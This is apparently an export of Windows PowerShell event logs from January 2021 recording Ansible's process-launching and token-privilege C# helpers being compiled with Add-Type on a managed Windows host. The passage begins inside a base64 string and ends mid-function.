yaXZpbGVnZVZhbHVlKG51bGwsIGVudHJ5LktleSwgb3V0IGx1aWQpKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJMb29rdXBQcml2aWxlZ2VWYWx1ZSh7MH0pIGZhaWxlZCIsIGVudHJ5LktleSkpOwoKICAgICAgICAgICAgICAgIFByaXZpbGVnZUF0dHJpYnV0ZXMgYXR0cmlidXRlczsKICAgICAgICAgICAgICAgIHN3aXRjaCAoZW50cnkuVmFsdWUpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSB0cnVlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIGZhbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5EaXNhYmxlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYXR0cmlidXRlcyA9IFByaXZpbGVnZUF0dHJpYnV0ZXMuUmVtb3ZlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgcHJpdmlsZWdlQXR0cltpXS5MdWlkID0gbHVpZDsKICAgICAgICAgICAgICAgIHByaXZpbGVnZUF0dHJbaV0uQXR0cmlidXRlcyA9IGF0dHJpYnV0ZXM7CiAgICAgICAgICAgICAgICBpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiBBZGp1c3RUb2tlblByaXZpbGVnZXModG9rZW4sIHByaXZpbGVnZUF0dHIpOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBBZGp1c3RUb2tlblByaXZpbGVnZXMoU2FmZUhhbmRsZSB0b2tlbiwgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gbmV3U3RhdGUpCiAgICAgICAgewogICAgICAgICAgICBib29sIGRpc2FibGVBbGxQcml2aWxlZ2VzOwogICAgICAgICAgICBJbnRQdHIgbmV3U3RhdGVQdHI7CiAgICAgICAgICAgIE5hdGl2ZUhlbHBlcnMuTFVJRF9BTkRfQVRUUklCVVRFU1tdIG9sZFN0YXRlUHJpdmlsZWdlczsKICAgICAgICAgICAgVUludDMyIHJldHVybkxlbmd0aDsKCiAgICAgICAgICAgIGlmIChuZXdTdGF0ZSA9PSBudWxsKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBkaXNhYmxlQWxsUHJpdmlsZWdlcyA9IHRydWU7CiAgICAgICAgICAgICAgICBuZXdTdGF0ZVB0ciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZGlzYWJsZ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lUHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwobmV3U3RhdGVCeXRlcy5MZW5ndGgpOwogICAgICAgICAgICAgICAgTWFyc2hhbC5Db3B5KG5ld1N0YXRlQnl0ZXMsIDAsIG5ld1N0YXRlUHRyLCBuZXdTdGF0ZUJ5dGVzLkxlbmd0aCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBJbnRQdHIgaFRva2VuID0gSW50UHRyLlplcm87CiAgICAgICAgICAgICAgICBpZiAoIU5hdGl2ZU1ldGhvZHMuT3BlblByb2Nlc3NUb2tlbih0b2tlbiwgVG9rZW5BY2Nlc3NMZXZlbHMuUXVlcnkgfCBUb2tlbkFjY2Vzc0xldmVscy5BZGp1c3RQcml2aWxlZ2VzLCBvdXQgaFRva2VuKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIk9wZW5Qcm9jZXNzVG9rZW4oKSBmYWlsZWQgd2l0aCBRdWVyeSBhbmQgQWRqdXN0UHJpdmlsZWdlcyIpOwogICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgSW50UHRyIG9sZFN0YXRlUHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoMCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkFkanVzdFRva2VuUHJpdmlsZWdlcyhoVG9rZW4sIGRpc2
ScriptBlock ID: cbd14a3c-5f64-4f98-8d4e-6f7cee2fc98b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2151 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0005-8f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2150 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 4916 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0001-af0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3508 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2149 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3652 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0001-af0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2148 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 4916 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0001-af0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2147 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4232 | 628 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:57 AM | 61e00a24-ee3b-0001-9f0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4232 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2146 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4232 | 4432 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:57 AM | 61e00a24-ee3b-0001-9f0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2145 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4232 | 628 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:57 AM | 61e00a24-ee3b-0001-9f0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 50636e20-bff6-41e4-809c-e5a6745e16cb
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 69899a64-92bb-4890-bda9-d5ff7425cdfd
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2144 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 3360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:57 AM | 61e00a24-ee3b-0003-ee0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
